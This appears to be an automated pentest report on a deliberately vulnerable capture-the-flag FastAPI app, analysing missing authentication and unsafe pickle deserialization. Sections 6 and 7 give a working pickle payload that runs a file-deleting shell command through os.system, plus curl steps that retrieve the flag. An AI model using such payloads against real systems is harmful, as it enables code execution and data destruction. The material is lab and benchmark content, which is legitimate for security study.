# Authorization Analysis Report

## 1. Executive Summary

- **Analysis Status:** Complete  
- **Key Outcome:** This application has a **complete absence of authentication and authorization mechanisms**. Two authorization vulnerabilities were identified where sensitive data and dangerous functionality (RCE via pickle deserialization) are exposed without any access controls. All findings have been passed to the exploitation phase via the machine-readable exploitation queue.  
- **Purpose of this Document:** This report provides the strategic context, dominant patterns, and architectural intelligence necessary to effectively exploit the vulnerabilities listed in the queue. It is intended to be read alongside the JSON deliverable.  

## 2. Dominant Vulnerability Patterns

### Pattern 1: Complete Absence of Authentication Layer (Horizontal & Vertical)
- **Description:** The application has zero authentication mechanisms. There are no login endpoints, no session management, no JWT validation, no cookies, and no user identity system. All endpoints are publicly accessible to anonymous attackers.
- **Implication:** Every endpoint can be accessed without credentials, eliminating the traditional authentication barrier that normally precedes authorization testing. Attackers proceed directly from reconnaissance to exploitation.
- **Representative:** AUTHZ-VULN-01 (GET / flag disclosure), AUTHZ-VULN-02 (POST / RCE + flag disclosure)

### Pattern 2: Missing Authorization Guards on Sensitive Operations (Vertical)
- **Description:** The most dangerous operations in the application—file uploads leading to Remote Code Execution via insecure pickle deserialization—have zero authorization checks. Any anonymous user can trigger RCE.
- **Implication:** The application fails to answer "Are you allowed to do this?" for operations that should be restricted to privileged roles (or shouldn't exist at all for untrusted input).
- **Representative:** AUTHZ-VULN-02 (POST / pickle deserialization)

### Pattern 3: Unguarded Sensitive Data Access (Horizontal)
- **Description:** Both the GET / and POST / endpoints read and expose sensitive flag files without any ownership validation, role checks, or authentication requirements.
- **Implication:** Any anonymous attacker can retrieve sensitive data that should be protected by access controls.
- **Representative:** AUTHZ-VULN-01 (GET /), AUTHZ-VULN-02 (POST /)

## 3. Strategic Intelligence for Exploitation

### Session Management Architecture:
- **No session system exists.** The application is completely stateless with no cookies, no JWT tokens, no session storage (Redis/Memcached), and no server-side session tracking.
- **Critical Finding:** Exploitation requires zero session establishment, no credential gathering, and no authentication bypass techniques. Attackers make direct HTTP requests without any ceremony.

### Role/Permission Model:
- **No role system exists.** There are no user roles (admin, user, guest), no permission models, no RBAC (Role-Based Access Control), and no ABAC (Attribute-Based Access Control).
- **Critical Finding:** Every requester has identical anonymous access to all functionality. There is no concept of privilege levels to escalate between.

### Resource Access Patterns:
- **File-based storage with hardcoded paths.** The application reads `decoy.txt` and `flag.txt` using hardcoded relative paths with no user-controllable components.
- **Critical Finding:** Direct file access occurs without ownership checks, permission validation, or authorization guards. The files are accessed via `open('decoy.txt').read()` and `open('flag.txt').read()` with no intervening security controls.

### Workflow Implementation:
- **No multi-step workflows exist.** The application has simple request-response handlers with no state transitions, no workflow status validation, and no sequential operation dependencies.
- **Critical Finding:** Context-based authorization vulnerabilities (workflow bypass) are not applicable to this application architecture.

### Application Architecture:
- **Single Python file (44 lines).** The entire application logic resides in `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-036-24/app/main.py` with three endpoints: GET /, POST /, and GET /ping.
- **Zero security middleware.** No FastAPI middleware is configured—no CORS, no CSRF protection, no rate limiting, no authentication middleware.
- **Critical Finding:** The application initialization is `app = FastAPI()` with no security configuration. No global security decorators, dependencies, or guards exist anywhere in the codebase.

### Sensitive Data Handling:
- **Flag files contain CTF secrets.** Two text files store sensitive data:
  - `decoy.txt`: Contains "this is just the decoy"
  - `flag.txt`: Contains the real CTF flag (injected at Docker build time)
- **Exposure mechanism:** Both GET / and POST / endpoints read these files and embed their contents in HTML responses via Jinja2 template: `<h5>The current flag is: {{ flag }} </h5>`
- **Critical Finding:** Flag data is exposed in every HTTP response from GET / or POST /, accessible to any anonymous attacker without authentication.

### Dangerous Functionality:
- **Insecure pickle deserialization.** The POST / endpoint accepts file uploads and deserializes them with `pickle.loads(await pickle_file.read())` at line 30 of main.py.
- **RCE mechanism:** Python's pickle module executes arbitrary code during deserialization via the `__reduce__` magic method.
- **Critical Finding:** Any anonymous attacker can upload a malicious pickle file to achieve Remote Code Execution without any authentication or authorization checks. This is a **CVSS 10.0 Critical** vulnerability.

### Network Accessibility:
- **Application runs on HTTP port 80** inside a Docker container, exposed via Caddy reverse proxy on the host.
- **Target URL:** `http://localhost:46849` (externally accessible)
- **Critical Finding:** All vulnerabilities are exploitable from the public internet via standard HTTP requests without VPN, internal network access, or direct server access.

## 4. Vectors Analyzed and Confirmed Secure

These authorization checks were traced and confirmed to have appropriate access controls OR are appropriately public by design.

| **Endpoint** | **Guard Location** | **Defense Mechanism** | **Verdict** |
|--------------|-------------------|----------------------|-------------|
| `GET /ping` | main.py:40-42 | Public health check endpoint (by design) | SAFE |

**Analysis Notes:**
- **GET /ping** is a standard health check endpoint that returns `{"ping": "pong"}`. This endpoint is **intentionally public** to support load balancer health checks, monitoring systems, and container orchestration (Kubernetes liveness/readiness probes). It exposes no sensitive data and performs no privileged operations.
- This is the **only endpoint** in the application that has an appropriate security posture for its intended purpose.

## 5. Analysis Constraints and Blind Spots

### Application Simplicity as Design Choice:
This is a deliberately vulnerable CTF (Capture The Flag) challenge application. The complete absence of security controls is **intentional** for educational purposes. In a real-world penetration test, this would represent a catastrophic security failure requiring immediate remediation.

### Limited Attack Surface:
The application has only **3 endpoints** and **44 lines of code**. This minimal attack surface means:
- No complex multi-step workflows to analyze for state-based authorization flaws
- No user management system to test for horizontal privilege escalation between users
- No role hierarchy to test for vertical privilege escalation
- No multi-tenant architecture to test for tenant isolation failures

### No Indirect Authorization Paths:
The application has:
- No GraphQL endpoints with field-level authorization
- No REST API with nested resource access patterns
- No admin panels or privileged interfaces
- No file download/upload with path traversal potential (beyond the pickle upload RCE)

### Infrastructure-Level Controls Unknown:
The analysis focused on application-level authorization. Potential infrastructure-level controls (firewall rules, network segmentation, WAF rules) were not assessed. However, the reconnaissance report confirms the application is **externally accessible via HTTP**, so infrastructure controls (if any) do not prevent exploitation.

### Post-Exploitation Authorization:
Once RCE is achieved via AUTHZ-VULN-02 (pickle deserialization), the attacker has complete control over the application process. Any authorization checks that might exist in other parts of the system become irrelevant, as the attacker can manipulate application state, read all files, and execute arbitrary code with web server privileges.

---

## 6. Detailed Findings

### AUTHZ-VULN-01: Unauthenticated Access to Sensitive Flag Data (GET /)

**Vulnerability Type:** Horizontal Authorization Bypass (Missing Authentication)

**Endpoint:** GET /

**Vulnerable Code Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-036-24/app/main.py:13-20`

**Vulnerable Code:**
```python
@app.get("/", response_class=HTMLResponse)
async def update_profile(request: Request):
    if os.path.exists('decoy.txt'):
        flag = open('decoy.txt').read()
    else:
        flag = open('flag.txt').read()

    return templates.TemplateResponse("index.html", {"request": request, "flag": flag})
```

**Authorization Flow Analysis:**
1. **Entry Point (line 13):** Anonymous HTTP GET request received
2. **Guard Check:** ❌ NONE
3. **Side Effect (lines 15-18):** Flag file read from filesystem
4. **Guard Check:** ❌ NONE
5. **Exposure (line 20):** Flag data embedded in HTML response

**Missing Guards:**
- No authentication check to verify requester identity
- No session validation
- No ownership check to verify requester should access this data
- No role check to verify requester has permission to view flags
- No rate limiting to prevent automated flag harvesting

**Side Effect:** Any anonymous attacker can read sensitive flag data by sending `GET http://target/`. The flag is embedded in the HTML response: `<h5>The current flag is: {{ flag }} </h5>`

**Confidence:** High - The code path from endpoint entry to sensitive data disclosure is direct with zero conditional guards.

---

### AUTHZ-VULN-02: Unauthenticated Remote Code Execution + Flag Disclosure (POST /)

**Vulnerability Type:** Vertical Authorization Bypass (Missing Privilege Check for Dangerous Operation)

**Endpoint:** POST /

**Vulnerable Code Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-036-24/app/main.py:23-37`

**Vulnerable Code:**
```python
@app.post("/", response_class=HTMLResponse)
async def update_profile(
        request: Request,
        pickle_file: UploadFile = File(None)
):
    if pickle_file:
        print('Loading pickle file')
        pickle.loads(await pickle_file.read())  # LINE 30 - RCE SINK

    if os.path.exists('decoy.txt'):
        flag = open('decoy.txt').read()
    else:
        flag = open('flag.txt').read()

    return templates.TemplateResponse("index.html", {"request": request, "flag": flag})
```

**Authorization Flow Analysis:**

**Path 1: File Upload → RCE**
1. **Entry Point (line 23):** Anonymous HTTP POST request received
2. **Guard Check:** ❌ NONE
3. **File Upload Handling (line 26):** `pickle_file: UploadFile = File(None)`
4. **Guard Check:** ❌ NONE (no file type, size, or content validation)
5. **Side Effect - RCE (line 30):** `pickle.loads(await pickle_file.read())`
6. **Guard Check:** ❌ NONE

**Path 2: Flag Data Disclosure**
1. **Side Effect - File Read (lines 32-35):** Flag file opened and read
2. **Guard Check:** ❌ NONE
3. **Exposure (line 37):** Flag data embedded in HTML response
4. **Guard Check:** ❌ NONE

**Missing Guards:**
- No authentication to verify requester identity
- No authorization to verify requester should be allowed to upload files
- No role check to restrict file uploads to privileged users (admin)
- No input validation on uploaded files
- No sandboxing or safe deserialization mechanisms
- No ownership check on flag file access
- No CSRF protection on the POST endpoint
- No rate limiting on file uploads

**Side Effects:**
1. **Remote Code Execution:** Uploading a malicious pickle file executes arbitrary Python code during deserialization
2. **Sensitive Data Disclosure:** Flag data is exposed in every POST response
3. **Filesystem Manipulation:** RCE enables attacker to delete `decoy.txt`, causing subsequent requests to expose the real flag from `flag.txt`

**Exploitation Path:**
```python
import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('rm decoy.txt',))

malicious_pickle = pickle.dumps(Exploit())
# Upload via: POST http://target/ with file parameter "pickle_file"
# Result: RCE executes, decoy.txt deleted, real flag exposed
```

**Confidence:** High - Direct path from anonymous POST request to RCE with zero intervening guards. The vulnerability is trivially exploitable.

---

## 7. Exploitation Strategy Recommendations

### For AUTHZ-VULN-01 (GET / Flag Disclosure):
**Immediate Exploitation:**
```bash
curl http://localhost:46849/
# Parse HTML response for flag value in <h5> tag
```

**Expected Result:** HTML page containing flag data embedded in template

**No Evasion Required:** Zero authentication or authorization barriers exist

---

### For AUTHZ-VULN-02 (POST / RCE + Flag Disclosure):
**Stage 1: Achieve RCE and Delete Decoy File**
```python
import pickle
import os
import requests

class DeleteDecoy:
    def __reduce__(self):
        return (os.system, ('rm /app/decoy.txt',))

payload = pickle.dumps(DeleteDecoy())
requests.post('http://localhost:46849/', files={'pickle_file': ('x.pkl', payload)})
```

**Stage 2: Retrieve Real Flag**
```bash
curl http://localhost:46849/
# Now returns real flag instead of decoy
```

**No Evasion Required:** Zero authentication or authorization barriers exist

**Additional Post-Exploitation Options:**
- Reverse shell establishment via RCE
- Data exfiltration from container filesystem
- Container escape attempts (if running as root with privileged mode)
- Network scanning of internal infrastructure
- Environment variable extraction (may contain additional secrets)

---

## 8. Architectural Security Failures

### Failure 1: No Defense-in-Depth
The application has **zero layers of security** between an attacker and critical vulnerabilities:
- No network-level filtering
- No application-level authentication
- No endpoint-level authorization
- No input validation
- No rate limiting
- No monitoring/alerting

### Failure 2: Trust Boundary Violations
The application treats all inputs as trusted:
- User-uploaded files are deserialized without validation
- No distinction between anonymous and authenticated users
- No privilege separation between operations

### Failure 3: Insecure-by-Default Design
The FastAPI framework provides security mechanisms (OAuth2, dependency injection for auth), but this application uses **none of them**:
- No use of `fastapi.security` module
- No `Depends()` for authentication
- No middleware configuration
- Default configuration with zero hardening

---

## 9. Comparison with Security Best Practices

| **Security Control** | **Best Practice** | **Application Implementation** | **Gap** |
|---------------------|------------------|-------------------------------|---------|
| Authentication | JWT/Session required for all sensitive endpoints | ❌ None | CRITICAL |
| Authorization | Role-based access control for privileged operations | ❌ None | CRITICAL |
| Input Validation | Validate all user inputs before processing | ❌ None | CRITICAL |
| File Upload Security | Validate MIME type, scan for malware, size limits | ❌ None | CRITICAL |
| Deserialization | Never deserialize untrusted data; use JSON instead | ❌ Uses pickle on user input | CRITICAL |
| CSRF Protection | CSRF tokens on all state-changing operations | ❌ None | HIGH |
| Rate Limiting | Limit requests per IP/user to prevent abuse | ❌ None | MEDIUM |
| Security Headers | CSP, HSTS, X-Frame-Options, etc. | ❌ None | MEDIUM |

---

## 10. Conclusion

This application represents a **complete failure of authorization architecture**. The absence of authentication and authorization mechanisms creates a scenario where:

1. **Every endpoint is equally accessible** to anonymous attackers
2. **The most dangerous operation** (RCE via pickle deserialization) has zero protection
3. **Sensitive data** (flag files) is exposed without access controls
4. **No security controls exist** at any layer (network, application, endpoint)

The application serves as an effective CTF challenge demonstrating catastrophic security failures, but would require **complete security redesign** for any production use. Exploitation is trivial and requires only standard HTTP client tools without any authentication bypass or privilege escalation techniques.

**Primary Recommendation for Future Development:**
- Implement FastAPI's built-in authentication mechanisms (`OAuth2PasswordBearer` or `HTTPBearer`)
- Add role-based authorization using `Depends()` dependency injection
- Replace pickle deserialization with safe data formats (JSON)
- Add comprehensive input validation on all user inputs
- Implement security middleware (CORS, CSRF, rate limiting)
- Add security headers via middleware configuration
- Implement proper logging and monitoring for security events